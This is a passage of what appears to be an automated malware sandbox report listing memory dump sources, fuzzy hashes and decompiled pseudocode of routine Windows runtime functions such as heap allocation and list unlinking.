0x00d891b0
0x00d891b1
0x00000000
0x00d89185
0x00d8911a
0x00d8911c
0x00d8911f
0x00d89125
0x00d89127
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: e3b333f4f2f18ce17e2cca7871fa49b7e34347fe981e80df8643fa8c6e531af2
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: 6D218375A04715EFDB20EF59C444E6AF7F8EB54710F18846AF98597241D330ED00DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D73B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00D73B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0xe384c4; // 0x0
				_v12 = 1;
				_v8 =  *0xe384c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0xe384c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E00D8AA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E00D8FA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0xe384c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0xe384c4; // 0x0
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x00d73b89
0x00d73b96
0x00d73ba1
0x00d73bab
0x00d73bb5
0x00d73bb9
0x00db6298
0x00d73bbf
0x00d73bc2
0x00d73bc3
0x00d73bc9
0x00d73bca
0x00d73bcc
0x00d73bcd
0x00d73bd4
0x00d73bd6
0x00d73bdb
0x00d73bea
0x00d73bf7
0x00d73bfb
0x00d73bff
0x00d73c09
0x00d73c0a
0x00d73c0b
0x00d73c0f
0x00d73c14
0x00d73c18
0x00d73c18
0x00d73bfb
0x00d73c1b
0x00d73c30
0x00d73c30
0x00d73c3d

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 316a1a61ceab73ba4c3a65109a0cdc9cb06c900f39352fcc809cf80114c4b78d
Instruction ID: 41d6e85df3babaa0e7d7d4ca1c9b84418486c5329c581cc72fd1aea6b15be0dd
Opcode Fuzzy Hash: 316a1a61ceab73ba4c3a65109a0cdc9cb06c900f39352fcc809cf80114c4b78d
Instruction Fuzzy Hash: 1021D4B2600109AFC705DF58CE81F5ABBBDFB40308F150068F509AB251D771EE05DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DC6CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00DC6CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E00D67D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E00D67D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0xd25c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E00D7F6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E00D7F6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E00DC7016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L00D62400( &_v52);
								}
								_t21 = L00D62400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x00dc6cfb
0x00dc6d00
0x00dc6d02
0x00dc6d06
0x00dc6d0a
0x00dc6d0e
0x00dc6d19
0x00dc6d2b
0x00dc6d1b
0x00dc6d24
0x00dc6d24
0x00dc6d33
0x00dc6d39
0x00dc6d46
0x00dc6d4f
0x00dc6d61
0x00dc6d51
0x00dc6d5a
0x00dc6d5a
0x00dc6d69
0x00dc6d6b
0x00dc6d6d
0x00dc6d6f
0x00dc6d6f
0x00dc6d74
0x00dc6d79
0x00dc6d7a
0x00dc6d7f
0x00dc6d82
0x00dc6d88
0x00dc6d89
0x00dc6d90
0x00dc6d94
0x00dc6da7
0x00dc6db1
0x00dc6db1
0x00dc6dbb
0x00dc6dbb
0x00dc6d90
0x00dc6d69
0x00dc6d46
0x00dc6dc6

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38aa3db8212f3a88b880e9ec581fb41f85bd79323fac5a22f897f768a7f99ddd
Instruction ID: add87ce6f93f9ffb2bcb93694c25f927f87cbc945bc4f4c8146c45118ad2e049
Opcode Fuzzy Hash: 38aa3db8212f3a88b880e9ec581fb41f85bd79323fac5a22f897f768a7f99ddd
Instruction Fuzzy Hash: E0210472604746ABC721EF68C944F6BB7ECEF81744F08096AF941C7251EB34D908C6B2

Uniqueness

Uniqueness Score: -1.00%

Function 00E1070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00E1070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E00E107DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E00E0AFDE( &_v8,  &_v12);
					E00E11293(_t38, _v28, _t60);
					if(E00D67D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E00E014FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x00e1071b
0x00e10724
0x00e10734
0x00e10738
0x00e1074b
0x00e1074b
0x00e10753
0x00e10753
0x00e10759
0x00e1075d
0x00e10774
0x00e10779
0x00e1077d
0x00e10789
0x00e10795
0x00e107a7
0x00e10797
0x00e107a0
0x00e107a0
0x00e107af
0x00e107c4
0x00e107cd
0x00e107cd
0x00e107af
0x00e107dc

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: bb2457d4c733e7bb27d8df97272eae956275bcb9139726d650f9491b14bba4da
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: 7B2107362042049FD705DF18C880BAABBE5EFC4354F048569F995AB392D770ED89CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00D6AE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00D6AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E00D67D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E00D67D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E00D67D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E00D67D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E00DC7794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x00d6ae78
0x00d6ae7c
0x00d6ae7e
0x00d6ae81
0x00d6ae86
0x00d6ae8d
0x00db2691
0x00d6ae93
0x00d6ae93
0x00d6ae93
0x00d6ae98
0x00d6ae9d
0x00db26a2
0x00db26b4
0x00db26a4
0x00db26ad
0x00db26ad
0x00db26b9
0x00000000
0x00db26bb
0x00000000
0x00db26bb
0x00d6aea3
0x00d6aea3
0x00d6aea3
0x00d6aeaa
0x00db26c0
0x00db26c9
0x00db26c9
0x00d6aeb3
0x00db26d4
0x00db26e1
0x00000000
0x00000000
0x00db26e7
0x00db26ee
0x00db26f0
0x00db26f9
0x00db26f9
0x00db2702
0x00db2708
0x00db2708
0x00db270b
0x00db270f
0x00db2711
0x00db2711
0x00db2725
0x00db2725
0x00000000
0x00d6aeb9
0x00d6aeb9
0x00d6aebf
0x00d6aebf
0x00d6aeb3

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: cd96de4f052ebab69dd011643059c08f13624dd1f41fd6810bb6e620f9fb46d3
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: 0B210132605684CFE7229B28CA44B7577E8EF14384F1D00A1ED458B6A3E775DC40CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00DC7794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00DC7794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0xe37b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E00D8F3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E00D67D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E00D89AE0();
					_t24 = L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x00dc7799
0x00dc779a
0x00dc779b
0x00dc77a3
0x00dc77ab
0x00dc77ae
0x00dc77b1
0x00dc77b1
0x00dc77bf
0x00dc77c4
0x00dc77c8
0x00dc77ce
0x00dc77d4
0x00dc77e0
0x00dc77e0
0x00dc77d6
0x00dc77d6
0x00dc77de
0x00000000
0x00000000
0x00dc77de
0x00dc77e5
0x00dc77f0
0x00dc77f3
0x00dc77f6
0x00dc77fd
0x00dc7800
0x00dc780c
0x00dc7818
0x00dc782b
0x00dc781a
0x00dc7823
0x00dc7823
0x00dc7830
0x00dc7831
0x00dc7838
0x00dc783d
0x00dc783e
0x00dc784f
0x00dc784f
0x00dc785a

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b8d0a5a7f314482594d7aa8612f5722d21a721868d72c369060d18e1ae96bb
Instruction ID: 4ca36bfb2d5eab4dc7aee14f2a4ae19153f5d9b9972f588c8d284fbbb3a50504
Opcode Fuzzy Hash: b2b8d0a5a7f314482594d7aa8612f5722d21a721868d72c369060d18e1ae96bb
Instruction Fuzzy Hash: 78219D72904608AFC725DF69D894EABBBA9EF48740F14056DF60AD7750D634ED00CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D7FD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00D7FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E00D576E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x00d7fd9b
0x00d7fda0
0x00d7fda1
0x00d7fdab
0x00d7fdad
0x00d7fdb0
0x00d7fdb8
0x00d7fe0f
0x00d7fde6
0x00d7fde9
0x00d7fdec
0x00dbc0c0
0x00d7fdfe
0x00d7fe06
0x00d7fe06
0x00dbc0c8
0x00d7fe2d
0x00d7fe2d
0x00000000
0x00d7fe2d
0x00dbc0d1
0x00dbc0e0
0x00dbc0e5
0x00dbc0e5
0x00dbc0e8
0x00000000
0x00dbc0e8
0x00d7fdf4
0x00000000
0x00000000
0x00d7fdf6
0x00d7fdfa
0x00d7fe1a
0x00d7fe1f
0x00d7fe1f
0x00d7fdfc
0x00000000
0x00d7fdfc
0x00d7fdcc
0x00d7fdd0
0x00d7fe26
0x00000000
0x00d7fe26
0x00d7fdd8
0x00d7fddb
0x00d7fddd
0x00d7fde0
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: 9e96d5c375b036bb4f3d77fb15e71b70b66ac65019371ee913248439c1777c63
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: FB214972A44A44DBC735CF49C540E66B7E5EB98B10F29857EE98987621E734EC00DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D49240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00D49240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0xe1f708);
				E00D9D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E00D895D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E00D895D0();
				_t33 =  *0xe384c4; // 0x0
				L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0xe384c4; // 0x0
				L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0xe384c4; // 0x0
				E00D62280(L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0xe386b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E00D895D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E00D895D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E00D49325();
					_t50 =  *0xe384c4; // 0x0
					return E00D9D0D1(L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x00d49240
0x00d49242
0x00d49247
0x00d4924c
0x00d4924e
0x00d49255
0x00d49257
0x00d4925a
0x00d4925f
0x00d4925f
0x00d49266
0x00d49271
0x00d49276
0x00d49279
0x00d4927e
0x00d49295
0x00d4929a
0x00d492b1
0x00d492b6
0x00d492d7
0x00d492dc
0x00d492e0
0x00d492e6
0x00d492e8
0x00d492ee
0x00d49332
0x00d49333
0x00d49337
0x00d49338
0x00d4933a
0x00d4933a
0x00d4933d
0x00d49342
0x00d49342
0x00d49345
0x00d49349
0x00d4934e
0x00d49352
0x00d49357
0x00d492f4
0x00d492f4
0x00d492f6
0x00d492f9
0x00d49300
0x00d49306
0x00d49324
0x00d49324

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d248c8b4c3723d1cff4c7a30ccaf3c5f79f6fd733ad4e5fb5affc531c850ec8e
Instruction ID: c7e3845df26efd3349e373570c3cea685d9fd596732103d843e4926db83f3db8
Opcode Fuzzy Hash: d248c8b4c3723d1cff4c7a30ccaf3c5f79f6fd733ad4e5fb5affc531c850ec8e
Instruction Fuzzy Hash: 74213931051600EFC722EF29CA55F5AB7B9FF08704F144568F04A96AB2CB34E941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D7B390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00D7B390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E00D62280(_t12, 0xe38608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E00D800C2(0xe38608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x00d7b395
0x00d7b3a2
0x00d7b3a5
0x00d7b3aa
0x00d7b3b2
0x00d7b3ba
0x00d7b3bd
0x00d7b3c0
0x00d7b3c4
0x00d7b3c9
0x00dba3e9
0x00dba3ed
0x00dba3f0
0x00dba3ff
0x00dba403
0x00dba409
0x00000000
0x00000000
0x00dba40b
0x00dba40b
0x00dba40f
0x00dba415
0x00dba423
0x00dba423
0x00dba415
0x00d7b3d1
0x00d7b3e8
0x00d7b3e8
0x00d7b3d9

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a27411dad200dc4f8f18bc8ded3086168bb91179ecad49853c121c2524f6b4
Instruction ID: 72bf1a77604e8c5fc486ab55741995b58d185b778c72e108e2a584e0e0f31277
Opcode Fuzzy Hash: 01a27411dad200dc4f8f18bc8ded3086168bb91179ecad49853c121c2524f6b4
Instruction Fuzzy Hash: 53116B33305210DBCB289A588E82A6B7696EBC5330F38513EED1AD7380DE359C02C6F5

Uniqueness

Uniqueness Score: -1.00%

Function 00DD4257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00DD4257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0xe208d0);
				E00D9D08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E00DD41E8(__ebx, __edi, __ecx, _t39);
				E00D5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0xe387e4;
					_t18 =  *0xe387e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0xe35cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0xe387e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0xe387e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L00D47055(_t31 + 0xfffffff8);
								_t24 =  *0xe387e0; // 0x0
								_t18 = _t24 - 1;
								 *0xe387e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0xe35cd0;
				if( *0xe35cd0 <= 0) {
					L00D47055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0xe387e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0xe387e8 = _t30;
						 *0xe387e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E00D9D0D1(L00DD4320());
			}

0x00dd4257
0x00dd4257
0x00dd4257
0x00dd4259
0x00dd425e
0x00dd4263
0x00dd4265
0x00dd4273
0x00dd4278
0x00dd427c
0x00dd427f
0x00dd4281
0x00dd4287
0x00dd42d7
0x00dd42d7
0x00dd42da
0x00dd428d
0x00dd428d
0x00dd428f
0x00dd4292
0x00dd4297
0x00dd429c
0x00dd42a0
0x00dd42a6
0x00dd42a8
0x00dd42ae
0x00dd42b3
0x00000000
0x00dd42ba
0x00dd42ba
0x00dd42bf
0x00dd42c5
0x00dd42ca
0x00dd42cf
0x00dd42d0
0x00000000
0x00dd42d0
0x00dd42b3
0x00000000
0x00dd42a6
0x00dd429c
0x00dd42dc
0x00dd42dc
0x00dd42e3
0x00dd4309
0x00dd42e5
0x00dd42e5
0x00dd42e8
0x00dd42ee
0x00dd42f0
0x00000000
0x00dd42f2
0x00dd42f2
0x00dd42f4
